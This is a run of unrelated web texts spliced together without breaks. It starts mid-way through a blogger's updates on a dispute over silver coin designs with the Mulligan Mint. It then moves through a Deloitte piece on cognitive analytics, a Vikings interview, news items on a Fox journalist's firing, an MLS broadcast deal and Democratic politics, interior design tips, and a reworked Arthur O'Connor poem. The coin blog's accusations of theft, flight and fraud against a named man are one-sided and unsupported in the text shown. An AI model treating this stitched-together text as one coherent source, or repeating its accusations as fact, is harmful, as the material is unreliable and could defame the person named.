3. Whoever guesses the day that the first State or Federal agency or tax authority raids the Mulligan Mint, will receive 3 1oz. Proof Andrew Jackson rounds. (Two can play the irony game.)
4. Whoever guesses the day that Will Lehr quits/fired from the Mulligan Mint, will receive 2 1oz. Proof Ludwig von Mises rounds with the words “Tu Ne Cede Malis” or do not give in to evil.
5. Whoever has the highest rated comment on the Honest Men and Thieves video, will receive a 1 oz. BU Andrew Jackson round.
6. Whoever guesses the day Rob Gray flees the country to Singapore, will receive a 1 oz. Rob Gray copper round business card with his own personal narcissistic, vanity phone number on it that we can call looking for him, 855-Rob-Gray.
The Grand Prize is for whoever guesses the day that I get all of my customers fulfilled, my dies, my URL, my silver, my money that I am owed and this entire drama ends, will receive a 3 oz triple stacked 2012 Trivium in a cracked die collar. This symbolizes how the Silver Bullet and the Silver Shield built the Mulligan Mint and how it will ultimately break it’s back.
Update 20: It’s a Trap!
It looks like they plan on launching today. Like I warned all of the other bloggers, future sales will only go to bailing out the previous people who bought into this. This needs to end, DO NOT BUY ANYTHING FROM THE MULLIGAN MINT.
Update 21: The Original Email That Started The Silver Bullet Silver Shield coin.
I have the entire email chain from start to finish of my ideas, for my designs, for my coins,with my brand, backed by my reputation and effort in the silver community. I am the one that came up with the designs, elements, layout, symbolism, message, branding and so forth. Any false claims on my work will be met with litigation and public scrutiny.
Update 22: Tell Rob Gray I said, “Hi”
In what will no doubt be his last public appearance, Rob Gray will be at the Metals & Minerals Investment Conference in New York, May 13-14. I would love to know the silver community’s response to his arrogant presence given the fact that he has now crossed the line and not only stolen past profits and silver, but now is stealing and producing stolen designs of mine. Please send me any video or YouTube links asking Rob to explain himself and his actions. Things like, how is he the co-founder of Silver Bullet Silver Shield? Or how he thinks my copyrighted work is his? Or if he owns Free Lakota Bank? Are Free Lakota Bank’s depositors money used for personal ventures? Or if he needs any tax advice? Don’t expect him to flinch since these guys swim in their own self delusion, but it is very helpful for people to see the insanity.
Update 23: Mulligan Mint is “best in the industry!”
Speaking of delusion, watch “Why The Mulligan Mint”for a good laugh. Rob Gray actually says that the Mulligan Mint has the turn around times that are the “best in the industry!” This only 20 seconds after the head of production said that they weren’t and they show that little toy caster that snails out silver as slow as anything I have ever seen. We can also forget about the epic delays from day 1 that all of us have experienced, or the shoddy quality or awful customer service or that they can steal your designs if you make something that really sells. You can forget about leaving a comment since they would not want people to laugh too hard. You can feel free to laugh at it here though in our growing comment section.
Update 24: Silver Gold Bull, Silver Doctors, Provident Metals And Many Other SBSS Retailers Will Not Support The Criminal Relaunch Of My Designs
I am very happy to hear that the majority of the former SBSS retail partners will NOT be supporting the Criminal Relaunch Of My Designs. is a huge vote in confidence from the customers that made this decision very easy for these retailers. The out pouring of support for my claims is only icing on the cake for these professional retailers break ties with a mint that has clearly shown that they cannot deliver on time, cannot produce quality products and cannot properly support the customer service.
There is no question that I am the creative force behind all of the designs on the Silver Bullet Silver Shield series. Anyone that illegally profits off of my work and supporting the ridiculous claims of the Mulligan Mint will face both publicly and legally prosecuted. The entire silver community is watching who will seek to risk their reputation and customers money for false promises. Especially since these relaunched coins were supposed to be limited in nature. Producing more of these designs, like Ben Bernanke, only seeks to destroy the value of what needs to be protected.
With the now 45 new designs Heidi Wastweet and I are planning to launch, there is much more abundance coming from us.
Thank you for the REAL support you are all offering.
Update 25: Important Revelations
After weeks of hiding behind paid or invested shills, Rob Gray is finally answering some questions himself.
RRobi31729 on YouTube got and exclusive video interview with Rob Gray at last week’s Metals Conference in New York where he got some very good revelations about what is going on.
I would like to give my shot by shot analysis of his explanations and let you decide.
P1
2:00 He asks who is the designer of the coins and Rob cleverly answers that Heidi Wastweet is the sculptor (sculptress) knowing full well that I designed everything.
3:00 When asked about their relationship to me Rob nervously flicks his face and simply says that he partnered with me.
3:30 When asked about moving to Singapore, Rob responds that they are in fact planning on opening a second operation in Singapore. This is very important because one of the things that made me end this relationship is the fact that while his Mulligan Mint in Dallas was shut down for weeks with a 92,000 ounce backlog, he was off gallivanting in Singapore trying to raise more money to start another mint in Singapore. He was not doing jack about the customers he left hanging in Dallas while he was staying at $500 a night hotels, half way around the world.
And now that he has just burned 95% of his retail sales to the ground by his actions, why does he even need the capacity in Dallas, much less in Singapore. After all who is going to trust the Mulligan Mint with their designs, after they have stolen mine?
While Rob uses the libertarian, ex-patriot rational for leaving the country, the real reason why he is leaving is because he fears his past catching up to him. I now have information (Update 26) of a former investor of Rob Gray that sued and won a $125,000 judgement! And that Rob then declared bankruptcy and fled Philadelphia. I am positive he is going to flee to Singapore as his past catches up to him again. (More on that later in Update 26.)
4:30 Why are you continuing minting Freedom Girl and Slave Queen? He says that they committed to limited time launches and uses his failure to produce in an adequate fashion as a reason for continuing the unauthorized use of my designs and brand. The truth is he needs cash and now that it is painfully obvious that his customers have voted for me with the pitiful sales of the relaunch, time and cash are closing in.
5:31 How does the Silver Bullet Silver Shield go on without Chris? He shows the Molon Labe coin and says that Heidi designed it. Like Obama taking credit for job others created, NO Rob, I did that. I am the one that came up with the ideas, elements, wording and the original art on it. And then shows the Cannabis medallion that I also designed and first showed publicly in my Honest Men and Thieves video at 8:53
6:22 I will never come back and expose myself, my designs and my reputation to Rob Gray or the Mulligan Mint again. The only rational discussion I am interested in is getting back what was stolen from me.
8:56 When asked about quality, it is simply too little too late. For 7 months we all dealt with horrible quality and now?! he does what he should have been doing all along?
Rob says that people should send their coins back and that they would pay for shipping. Yeah, like anyone is going to trust sending these coins back to a Mint that took months to deliver these shoddy coins in the first place!
9:33 Rob insults the customers by mocking them when it is clearly shoddy quality that even my 4 year old son can see. I personally have kept all of my coins, because they are all unique, but that is no way to run a mint.
P2
1:55 Rob asks for the customers to be reasonable and rational. The only reasonable and rational thing to do at this point is to never do business again with the Mulligan Mint
3:33 When asked why he has not responded to my allegations, Rob tries to take the high road as he stands in front of all of my designs he stole. The insanity of that fact is felt by anyone who knows what is going on. Forget about the hundreds of thousands in profits and silver…
3:56 “We have a partnership and he has some responsibilities.” I fulfilled my end of this deal by creating the hottest selling designs and generating the marketing to promote them. (All of this he admits later in the video.) When Rob Gray and the Mulligan Mint failed over and over again to do their part of the deal to produce and fulfill, I ended it. I have no commitment to the Mulligan Mint, especially now that they stole my money, silver and designs.
4:28 “Tens of thousands of customers” Is that why you cannot sell anything anymore? The relaunch has failed because they never addressed the reason why people made it successful in the first place. People in the silver community are not stupid. They walked away from the Debt and Death paradigm and they are not going to put up with the same behavior inside this small community.
4:51 “I don’t know what Chris expects from us?” Here is what I would expect from you, Rob, deliver the remaining dealer orders that you STILL have not fulfilled, give me what I am owe in terms of profits and silver, turn over or destroy the dies, and hand over my SilverBulletSilverShield.com website.
I also do not actually expect you to do anything of that sort, which is why my lawsuit will be on your desk this week. I might also be releasing all of the information about the past in Philadelphia Rob thought he ran away from including…
The investor lawsuit Rob Gray lost which led to his bankruptcy.
What happened with Rob’s grandmother Anna’s last will and testament.
The trail of destruction of companies, investors, employees, and vendors Rob left behind. TyentUSA_Exposed
And much more…
5:40 “There is not one customer waiting for orders.” While retail orders have been fulfilled, there are still thousands of ounces still owed to wholesalers and yours truly. Once you see the past in Philadelphia Rob has, you will see the pattern of abuse is at the investor, employee and vendor level. Why piss off a $100 customer, when there are bigger fish?
6:24 “We have partnership with the largest refiner in the western hemisphere.” NTR-OPM is now the largest silver refiner, not Republic Metals.
“Chris walked 2 days after we signed that deal knowing full well that we have reserves of silver.” Rob had talked for months about the deal with Republic Metals, but he could not provide proper accounting to satisfy them as far as I last heard. Heck I never saw a straight set of book because he never hired a proper accountant for fear that someone would hand over the books to the government. And after what has happened now, I would be shocked to learn that Republic went ahead to supply silver on the arm like he wished for. Perhaps a few emails into Republic Metals will clarify that… [email protected]
7:01 “Encourage Chris to sit down like a gentleman and work things out.” I entered into two mediations with two people we both respect and both times Rob would not make good on his past debts to me, before we even talked about any future possibilities. All he was interested in is getting me further into debt to him and never making me whole.
I even offered twice to forgo all profits owed to me just to get my silver, dies and URL and end the insult to injury. As a part of the mediation, I even offered to take down all postings and send a mass email to my 40,000 person email list and 36,000 person YouTube community stating that I no longer had any claims against Rob, if he returned what was mine. Twice he rejected that generous offer. Now I have a slam dunk case and will no longer negotiate.
7:35 Going forward is Chris continuing to get “his” (profits)? Rob says only after I come back to the table and stop slamming him here, will I get what is owed. Again, that was part of the mediation that once I was made whole I would take down all videos and articles related to this subject. He seems to not grasp the concept of what came first and what needs to be done first. He stole my money, silver and designs long before I did one article or video speaking the truth about him. At this point it really does not matter, as the lawsuit will settle this.
7:55 Rob admits that I did my job “awesome” and that he is the one that failed.
8:05 Rob admits that when we first started they were sub contracting out the work to other mints. This will be very important later on as he will try to claim like I owe him something for the risk he took in starting his mint. I have no ownership or obligation to the Mulligan Mint or the investors that knowingly or unknowingly funded this operation.
“The mint they subcontracted to went out of business.” What Rob fails to say is that mint was Old Glory Mint was involved in a $100 million PONZI SCHEME!
8:38 See the millions of dollars in facility. The question is not if there is machinery or silver there, it is whose money is it and do they know that it is used for Rob Gray’s personal ventures. Or how many investors bought into mint. I must have talked to dozens of people that said Rob offered them 5% to 10% of the mint for as low as $80,000 to as high as $250,000. I wonder how many took him up on that offer and if at the end of the day that number adds up to 100%?
9:21 On moving to Asia… He wants to have all of his “hot” technology shipped to Asia. Earlier he said he was going to have his extrusion press across the street in Dallas, now he wants it in Asia? I believe that he is just looking for another “investor” to fund that dream. After all why build another mint in Asia just to ship silver strip half way around the world to do all of the work out here? Especially when he can do it in Dallas and there are plenty of companies that would do it quicker here. And I highly doubt that the “deal” with Republic Metals would have come through on that business model. Or that the Dallas Mint will stay in business one day after a mint opens in Singapore.
P3
3:22 “We can do 150,000 ounces a month and want to get it up to 4 to 5 million.” Is that why it took the Mulligan Mint months to deliver 92,000 ounces? And whatever capacity he may have, they are certainly not going to sell that much.
“Solid distribution network” most of the retailers and customers I have spoken to would never go through the long wait times, shoddy production and awful customer service, ever again.
“Chris will be excited to see the world’s largest precious metals dealer will be carrying Freedom Girl.” If Apmex does decide to carry Freedom Girl now, after they wisely sat on the sideline not willing to risk their reputation with an unproven Mulligan Mint, that would be the worst decision they make.
First, they would now be involved in my lawsuit. I am the copyright owner and Rob Gray and the Mulligan Mint do not have my permission to continue to use my designs, brand or trademarks. I would be forced to include anyone that is profiting in this continued abuse of my copyrights.
Secondly, the customer base would let them know immediately what is really going on behind Rob’s slick pitch. I don’t know what Rob told them, but there are thousands of people who have read my article from 2011 and the videos from 2012 and my continued publicity for my coins that know full well what is really going on.
I would be more than happy to Apmex to the other dealers who have already made their wise decision to shun this criminal behavior of stealing designs, money and silver. This silver community is too small for this to last long.
I can also provide contacts with the multiple state and federal investigators that are looking into this matter.
You can let your voice be heard.
[email protected]
[email protected]
5:02 About Chris’s “goals”. Rob is constantly suggesting like I have some ulterior motive like starting another mint and that is my “real” reason for this breakup. I just signed a production agreement with a ISO certified mint to produce the next in the Silver Bullet Silver Shield series. I have NO investment in this decade old mint nor do I wish to. I have no interest in any investment before the dollar collapse, other than silver. My only REAL reason for this break up is exactly what I have been stating all along in this now 10,000 words article about walking away with what is owed.
Going forward, I will not even have my own retail operation to sell my silver. This will be a huge boon to those that wisely decide which side they are on. I will have SBSS Authorized Retailers with major online retailers to handle all retail sales. Rob’s business model actually competes against the online retailers where the grand majority of the retail sales went through. Knowing that Rob only has four more stolen designs of mine and I have 45+ designs coming with Heidi Wastweet and a proven ISO certified mint production, I think the choice will be easy for any online retailer to make.
5:16 Rob confirms again the major failures he had on his end of the bargain.
6:39 Rob admits that Silver Bullet and Silver Shield was not his idea despite his statement that he is co-founder and displaying |
handwritten content, emails, blog posts, and even voice transcriptions—from multiple sources in an analysis. This is essential given that, by some estimates, the volume of unstructured data is growing by 62 percent each year.4 Instead of demanding that all information be scrubbed, interpreted, and translated into a common format, the hypothesis and confidence engines actively learn associations between and the relative merits of various sources.
NLP can also simplify human interaction with cognitive systems. Rather than forcing end users to learn querying or programming languages, it allows spoken, natural exploration. For example, users can ask, “What are the sales projections for this quarter?” instead of being forced to write complicated lookups and joins against databases and schemata.
Big data. In data analysis, unstructured data that does not fit into traditional tables and sets often creates bottlenecks that slow progress and make it difficult to extract useful business insights. Unfortunately, much of the consumer information found on the Internet—e.g. photos, videos and blog posts, among others—is unstructured.
Increasingly, companies are using cognitive analytics to break the bottleneck. For example, Google has developed software that can recognize distinct objects within thousands of YouTube videos without previous instruction. Facebook has a deep learning team that specializes in using cognitive analytics to illuminate the human emotions that underlie posts on its website and app. Potentially, approaches like these will help companies gain greater insight into trends, and predict consumer behavior with greater accuracy.
Enabling infrastructure. Finally, continuously collecting, storing, and analyzing massive amounts of data requires increased processing power and storage networks delivered at low cost. To support cognitive computing systems and processes, CIOs often leverage the cloud, large appliances and high-end servers, and distributed architectures to create needed efficiencies and lower costs.
Well-Timed Progress
Cognitive analytics is the application of cognitive computing technologies and processes in ways that enhance human decision-making. It takes advantage of cognitive computing’s vast data processing power and adds channels for data collection (such as sensing applications) and environmental context to provide practical business insights. If cognitive computing has changed the way in which information is processed, cognitive analytics is changing the way information is applied.
This breakthrough could not have come at a better time. As more human activity is expressed digitally, data forms continue to evolve. Though highly structured financial and transactional data remain at the forefront of many business applications, the rise of unstructured information in voice, images, social channels, and video has created new opportunities for businesses to understand the world around them.
Cognitive analytics is still in its early stages, and is by no means a replacement for traditional information and analytics programs. Yet industries wrestling with massive amounts of unstructured data or struggling to meet growing demand for real-time visibility may find it worthwhile to begin exploring this powerful new approach in the analytics arsenal.
—Rajeev Ronanki, principal, Deloitte Consulting LLP and David Steier, director, Deloitte Consulting LLPWith the release of Vikings Season 4 Part 1 on DVD and Blu-ray, we spoke to creator Michael Hirst to discover why there’s no “intrinsic opposition between facts and drama” and why historians have no reason to be fearful of the hit Medieval drama.
1. The research comes first on Vikings
Everything that I write and am involved with starts with historical research. I spent a long time in universities so, for me, the research part of it is a joy and I read as much as I can about whatever subject I’m dealing with. I read it with an open mind essentially, allowing characters and storylines to evolve or, as the poet Dryden, said, “The act of creativity is ideas and thoughts tumbling over each other in the darkness.”
2. There’s a guy who’s job it is to check this stuff
I have a historical researcher called Justin Pollard who’s attached to Vikings and he provides information, background and whatever else I need, so every idea starts from a fact. It wouldn’t be true to say that I’m interested in accuracy because it’s not a documentary, and I’m not sure that you can be historically accurate because if you could then all historians would agree on everything. What you’re looking for, even in drama, is authenticity and truthfulness, so as the stories evolve I will always check with Justin whether it’s authentic, appropriate or reasonable to take the stories in a certain direction.
3. Every Vikings set starts life in a museum
The sets are sourced from museums around the world that contain Viking artefacts, and the stories begin life within history. Of course, if you think about Vikings, it is the Dark Ages and there is a hell of a lot we don’t know. I take the characters for a walk and develop dramatic storylines but I never take them too far from what is known about them. But of course writing drama sometimes means you’re selective and have to condense things. Creativity is about shaping raw materials; if it isn’t dramatic no one is going to watch it.
4. Historians think Vikings is awesome
When we were working on the first season of Vikings – seems a long time ago now – we showed some of the first episodes to the head of Scandinavian studies at Harvard University, who is a Swedish professor. I assumed he would eat me alive but he said actually this is the first time my culture has ever been taken seriously and intelligently,
5. And so do real Vikings Scandinavians
Vikings is the second biggest show across all Scandinavian countries. It’s very highly regarded and has reanimated an interest in Viking studies across Scandinavia and encouraged a lot more digs. The curator has told me that we’ve doubled the number of people who visit the Viking ship museum in Oslo because of the show and people are now proud of their ancestry again. I do have cause to think that it’s a pretty authentic show given that it’s a drama, and I’m very proud of that.
6. Drama drives more interest in history then documentaries and dig sites
What is important is that historical drama will reach more people than documentaries about the same period. Vikings is now the fifth biggest show in the world so millions and millions and millions of people are watching it. They don’t have to all think “this is real” but what I hope and what I know happens is that it can develop a taste for the subject. People can go back to the books and start researching themselves; I know that’s happening in Scandinavia. A similar thing happened with Tudors. I got loads of letters and emails from teachers around the world saying my pupils are now very keen to study the Tudor period, keen to go to England to see these places and we have lessons where we show bits of the show and then we discuss whether it’s real.
7. If Vikings makes stuff up, then they’re only being true to tradition
Ragnar comes out of the sagas and out of history as a semi-legendary, semi-mythic character. His death is reported in different places and his sons were too numerous to account for. We actually know more about the sons, and I’ve recently been on the archaeological dig in Repton where the Great Heathen Army, which was led by Ivar the Boneless, wintered. After much thought, I deliberately chose a main character who was semi mythic and whose reputation survived down the ages and was part of the oral tradition of Viking life. You want someone like that for a lead character. You want someone who is immensely charismatic, who’s important and who other characters in the saga talk about. In a sense, I’m writing a saga about Ragnar Lodbrok, who becomes a legendary character in the show.
Vikings: Season 4 – Part One is available on Blu-ray™ and DVD from 24 October 2016, courtesy of Twentieth Century Fox Home Entertainment. For more amazing tales from Medieval history, pick up the new issue of All About History or subscribe and save 40% on the cover price.Reporter: Cruise and Travolta got me fired BelfastTelegraph.co.uk In a conspiracy as contorted as the plot of one of their action movies, Tom Cruise and John Travolta have been accused of persuading Rupert Murdoch's Fox News to sack an influential entertainment journalist who had a history of criticising the Church of Scientology. https://www.belfasttelegraph.co.uk/entertainment/film-tv/news/reporter-cruise-and-travolta-got-me-fired-28483267.html https://www.belfasttelegraph.co.uk/migration_catalog/article25649420.ece/dc041/AUTOCROP/h342/cruise
Email
In a conspiracy as contorted as the plot of one of their action movies, Tom Cruise and John Travolta have been accused of persuading Rupert Murdoch's Fox News to sack an influential entertainment journalist who had a history of criticising the Church of Scientology.
Roger Friedman, who was dismissed in April after a decade covering the TV channel's Hollywood beat, announced yesterday that he intended to sue his former employer for wrongful termination, claiming that they fired him so that Cruise and Travolta would sign on to future Fox movie projects.
The lawsuit, which Friedman bullishly described as a “slam-dunk,” promises to shed light on the close ties between powerful Scientologists and film studios that rely on their co-operation to get expensive movies off the ground. It is due to be filed in Manhattan later this week.
Cruise and Travolta have formally denied any connection to the sacking and Fox insists that the journalist was dismissed for writing a column on his “411” blog which encouraged readers to download an illegally pirated version of the 20th Century Fox blockbuster X-Men Origins: Wolverine.
In an interview with the New York Daily News, Friedman, who was a regular talking head on Fox News and wrote a blog on its website that was read by more than 50 million people, claimed that the official grounds were an elaborate cover story.
Though he was formally given the heave-ho for “promoting piracy” the journalist claims he was actually sacked to help Fox build stronger links with the Church of Scientology, of whom he had been a longstanding critic.
At the time of Friedman's dismissal, Fox was involved in protracted (and subsequently successful) negotiations to hire Cruise to appear in the forthcoming romantic comedy Wichita, alongside Cameron Diaz.
Friedman, now at The Hollywood Reporter, also claimed that Travolta's wife, Kelly Preston, had earlier attempted to get him fired last August after they became involved in a heated argument at the funeral of a mutual friend, the late actor and soul singer Isaac Hayes. After bumping into Preston (who, like Hayes and her husband, is a fervent Scientologist) Friedman said he was loudly berated for criticising Scientology in his column. “She called me a religious bigot,” Friedman says.
Later, Friedman alleges, Preston orchestrated a meeting between senior Fox executives Roger Ailes and John Moody and the communications department of the Church of Scientology in an effort to have his longstanding criticisms of the church and its most prominent members reined in.
Though Friedman has yet to produce any factual evidence beyond his own recollection to back up his version of his sacking in April, he does appear to have been hard done by. The column for which he was sacked was read and approved by at least four of his superiors.
“It's outrageous that Rupert Murdoch made a decision to fire Roger after four of Roger's editors and superiors reviewed his column and found it very good,” said Friedman's attorney, Martin Garbus.
“In falsely claiming Roger engaged in piracy, they attempted to destroy the reputation of a fine journalist. I've seen how Scientology intimidates even the most powerful media. That seems to be what happened here.”
Asked about the specifics of Friedman's allegations, Fox News declined to comment, while an attorney for Cruise said it was “utterly false” that the actor had sought his dismissal.
Preston's lawyer, Martin Singer, said that Friedman's claim was “absurdand ridiculous”.
“He was terminated just days after [his Wolverine column]. It is outrageous to try to blame my client (ampersand)#8230; on the basis of something that supposedly took place eight months earlier.”
Belfast TelegraphMLS is bound for Brazil.
Major League Soccer announced Friday that it has partnered with Brazilian broadcaster Globosat, Latin America’s biggest pay-TV operator, to televise league matches live in Brazil. A four-year deal has been agreed, marking the first time the Rio de Janeiro-based cable and satellite provider will have MLS broadcast rights.
The agreement will see Globosat televise at least two MLS regular-season matches per week, as well as the AT&T MLS All-Star Game, at least one Decision Day match, half of the MLS Cup Playoffs games and MLS Cup, in alternating years on Globosat networks SporTV 1, SporTV 2 and SporTV 3. In addition, Globosat will carry games, features and other content across its digital platforms.
This groundbreaking partnership amplifies MLS’ exposure across South America’s most populated country in conjunction with the current agreement with ESPN Brasil, a rights holder incorporated into ESPN’s MLS domestic agreement.
"This new agreement with Globosat is further illustration of the growing demand for Major League Soccer in the global media rights marketplace. With Flavio Augusto da Silva's ownership of Orlando City SC and with over 15 Brazilian players in MLS, including Kaká, there is clearly an increased desire for MLS content in Brazil," said Gary Stevenson, President and Managing Director, MLS Business Ventures in a statement. "We are excited to be partnered with such a powerful brand in Globosat and are confident that together we will create even greater awareness for the sport, our clubs and our stars.”
MLS will also retain the rights to one game per week for free-to-air TV (FTA TV), allowing for unprecedented coverage in Brazil. With Orlando City SC captain and Brazilian legend Kaká and three-time MLS Cup champion Juninho of the LA Galaxy leading the already-established contingent of Brazilian players in the League, Globosat will be a consistent destination for MLS fans in Brazil to follow the fortunes of their acclaimed compatriots.
The deal was negotiated with MLS’ new global media rights agent, IMG, as part of a continued focus to bring MLS to more fans around the world.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Here are the winners and losers from the NBC/YouTube Democratic debate.
Winners and Losers:
Winners:
1). Bernie Sanders – Sanders had his best debate yet as far as getting his message out in a clear way. Sanders is tapping into the anger and frustration of voters who still feel the pain of the Great Recession. Sanders and Clinton went toe to toe. It is easy to see why Sen. Sanders is running so strongly in the early states.
As his poll numbers have increased, Sanders is gaining momentum and confidence. He has gone from being a legitimate challenger for the Democratic nomination to being a potential winner of the Democratic nomination. Sanders still has a long road ahead, and he has to win early and often, but Bernie Sanders is looking strong less than two weeks before Iowa.
2).Hillary Clinton- Hillary Clinton is solid in these debates. Clinton just doesn’t make mistakes. The Sanders gains in the polls brought about a change in strategy for Clinton who was more pointed in her attacks on Sen. Sanders record. Hillary Clinton shined in the foreign policy section of the debate.
Clinton laid out what the role of her husband would be in a potential Hillary Clinton administration. Clinton said absolutely no to US ground troops to fight ISIS. Hillary Clinton had another strong debate, but if she was trying to put Bernie Sanders away, it didn’t work. It is easy to see why Clinton and Sanders are neck and neck in the early states. Clinton isn’t making mistakes, and turned in another steady and winning performance.
Losers:
1). Martin O’Malley – O’Malley had a good debate, but as has been the case with his previous debate performances, it wasn’t good enough to rise to the level of Clinton and Sanders. O’Malley often had to elbow his way into the conversation. One gets the sense that in a different cycle, O’Malley would probably fare better, but he chose to run in the year of Sanders. Bernie Sanders has established himself as the alternative candidate to Hillary Clinton. The Democratic primary has been a two person race for months, and Martin O’Malley wasn’t able to change that dynamic tonight.
2). Democratic Viewers – The Democratic debate was buried after NFL playoff football on a Sunday night. Democratic voters are missing out on some great debates. The DNC did Democratic voters a great disservice with this schedule. Democrats deserve a bigger and better platform than what they have been stuck with in 2016.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:Wolf Blitzer’s interview with Jane Sanders took an unexpected turn Thursday as the CNN host and the wife of the former presidential candidate sparred over the media’s role in the current national political environment.
The interview followed news reports that the gunman who opened fire on GOP lawmakers at a congressional baseball practice early Wednesday was a volunteer on the Sanders presidential campaign.
Blitzer had a clip ready to go, showing Sanders saying that Trump is perhaps the “worst and most dangerous president in the history of our country.”
Also Read: Bernie Sanders Condemns 'Despicable' Alexandria Shooter, 'Apparently' Former Campaign Volunteer (Video)
Asked whether she thought her husband went too far, Sanders seemed to turn the table, blaming the media for fanning the flames of political discourse.
“I think the media needs to look at itself as well,” she said. “The media characterizes every conversation as an adversarial one. Your job, the media’s job, I think, is to illuminate the facts, not fan the flames…And the media continues to cover the latest scandal, the latest back and forth, but not the issues so much.”
The normally stoic Blitzer wasn’t having it: “If a president or a senator or someone of authority is making very, very strong statements, you want us to simply ignore those statements — if there’s a social media post, a tweet and the president says something really, really strong… Do you want us to censor those words as part of the news media?”
Also Read: Alexandria Shooting Debate: Does the Media Bear Blame for 'Increase in Violent Rhetoric'?
Sanders said the media should practice “self-reflection.”
The back and forth took a testy turn, with Blitzer defending the media and Sanders insisting that the media should “focus on the issues” rather than “who said what.”
Since the shooting, some lawmakers have linked the current political discourse to the incident. House Majority Whip Steve Scalise (R-La.) was one of several people wounded in the shooting Wednesday, and he remains in the hospital.8 Lesser Known Interior Design Tricks
Share
Tired of the same old advice when it comes to sprucing up your living space? In today’s post, we have compiled a list of lesser known design tricks that are frequently used by the pros to great effect. We hope these industry secrets will give you some fresh inspiration for your own home!
Rio Range from SofaSofa
1. Get Rid of Your Coffee Table
Who says your coffee table has to actually be a coffee table? For a more eclectic look, try one of these alternatives:
Use an old vintage tea chest tilted on its side so it can also be used for storage. You can even create some simple shelves inside for remote controls, TV snacks and other supplies.
tilted on its side so it can also be used for storage. You can even create some simple shelves inside for remote controls, TV snacks and other supplies. Replace the traditional coffee table with a large ottoman or storage stool. Perfect for storing magazines, remote controls and the general bric a brac that seems to accumulate in every living room, storage stools are a very practical alternative. Consider a contrasting colour or texture or even a leather fabric combination.
Perfect for storing magazines, remote controls and the general bric a brac that seems to accumulate in every living room, storage stools are a very practical alternative. Consider a contrasting colour or texture or even a leather fabric combination. Stack two or three vintage suit cases on top of each other for a whimsical, well-travelled look. It’s all about looking at existing objects with a new perspective!
Cambridge Leather Storage Stool from SofaSofa
2. Pick Your Paint Colour Last
Sure, it might be kind of a hassle, and it is way easier to give your house a fresh coat of paint before moving your things in, but how will you know which colour looks good with your things unless you have everything in the room already?
By arranging your furniture first and picking a paint colour last, you can ensure that the colour you choose will be the best match for your furniture and accessories.
3. Breathe!
It may sound a little esoteric, but when picking paint colours, remember to breathe at the same time! Many people feel an intense amount of stress when it comes to choosing a paint colour - they feel as though they are proposing marriage to the paint. Remember, it’s only paint, not a lifelong partner!
If you do decide you don’t like the colour you end up choosing, take a leaf out of Kate Middleton’s book and just paint over it. The Duchess was said to have had a change of heart during the middle of her Kensington Palace remodel. She originally had several rooms painted in shades of lilac, but after returning from giving birth, decided she hated it and had the rooms repainted!
4. Examine Paint Under Different Lighting Conditions
Of course, nobody really wants to repaint a wall immediately after they’ve just painted it, so you should at least maximise your chances of getting it right the first time around.
When picking a paint colour, make sure you buy several sample pots and paint extra LARGE sample swatches (at least 1 meter by 1 meter). Then examine the paint under different lighting conditions, including natural day light, halogen and fluorescent lighting. Colours can look drastically different under different lighting conditions, so pick the colour you like best under the lighting you will be using the most.
Bonus tip: if you have young children, consider testing the paints with crayons and pencils to see how easily marks can be wiped off!
5. Hang Pictures Without Leaving a Mark
Have you ever tried to hang a picture frame and ended up with 10 extra holes in your wall because you just couldn’t get it right the first, second, or even third time around?
If you aren’t keen on having your wall look like it just had a bad case of chicken pox, try using 3M Command Picture Hanging Velcro Strips. These little strips go on your wall and you can adjust the picture to the perfect position without using a single nail! The strips can be easily removed without residue if you decide to take down the frame at a later time.
6. Less is More
Leave some breathing room for your furniture. Resist the temptation to fill the room to the brim with ornaments, pictures and other furnishings.
Have you ever wondered why a luxurious hotel room feels the way it feels? The plush atmosphere usually owes a lot to the fact that there are usually very few items in the room. Furthermore, the pieces in that room are usually chosen very carefully and nothing is superfluous. So focus on purchasing fewer, high quality pieces of furniture that are capable of being a focal point without a lot of clutter around to support them.
7. Stop Placing Your Furniture Against the Wall
Resist the urge to always place furniture items against your walls. People often think placing the sofa against the wall will make the room look bigger, but on the contrary, it could make your room look like a dance floor.
Balmoral Range from SofaSofa
Think about the flow of the room and its purpose. To help you visualise what a new sofa or large furniture item will be like in the room, you can use some large empty boxes and position them in various places to see what works best. More often than not, you’ll find placing furniture away from the wall will create a more inviting atmosphere.
8. Tricks with Mirrors
A well placed mirror can add more light and sparkle to any room, with the additional benefit of making the room look bigger. You may also have noticed that people are vain and like catching a glimpse of themselves in the mirror! Have you ever wondered why there are often mirrors placed inside elevators or lobbies? Supposedly people perceive shorter wait times and less boredom when they can admire their own reflection!
If you do decide to decorate with mirrors, you want to make sure you position each mirror in a suitable location. Try to avoid placing a mirror directly across from a window, which will just reflect the light back outside.
We hope these tips and tricks are useful in helping you put together your perfect living space. If you have a favourite design trick of your own, please share it with us on Twitter! Happy decorating!
Posted in Uncategorized on 3rd Oct 2014Arthur O’Connor lived a remarkable life.
Born near Bandon in Cork, he would serve as a member of the Irish Parliament in Dublin’s College Green from 1790 to 1795, while he later joined the Society of United Irishmen and even became a General in Napoleon’s army. In the College Green Parliament that excluded both Catholics and Presbyterians, O’Connor argued boldly for “civil,political and religious liberty”,reminding his fellow parliamentarians that “you are no longer legislating for the barbarous ignorant ages which are gone by, but that you must now legislate for the more enlightened and more intelligent age in which you live, and for the still more enlightened ages which are to come.”
A leading member of the Society of United Irishmen in Dublin from 1796,he was arrested while traveling to France to secure assistance for the movement in Ireland. O’Connor was acquitted, but his companion Father James Coigly was sentenced to death, hanged on 7 June 1798. O’Connor was rearrested following his acquittal, and sent to Fort George in Scotland. It was in light of this that O’Connor penned the following poem. On first glance, it appeared a total abandonment of his political convictions, and a particular condemnation of the radical Thomas Paine, author of the hugely influential The Rights of Man:
The pomp of courts, and pride of kings,
I prize above all earthly things;
I love my country, but my king,
Above all men his praise I’ll sing.
The royal banners are display’d,
And may success the standard aid:
I fain would banish far from hence
The Rights of Man and Common Sense.
Destruction to that odious name,
The plague of princes, Thomas Paine,
Defeat and ruin seize the cause
Of France, her liberty, and laws
And yet, with a little reworking, a totally different sentiment emerges. Taking the first line of the poem and following it with the first line of the second stanza,and continuing onwards in the same fashion, the poem shows that O’Connor had not abandoned his principles, but was reaffirming them:
The pomp of courts, and pride of kings,
I fain would banish far from hence
I prize above all earthly things;
The Rights of Man and Common Sense. I love my country, but my king, Destruction to that odious name Above all men his praise I’ll sing
The plague of princes, Thomas Paine
The royal banners are display’d
Defeat and ruin seize the cause
And may success the standard raise:
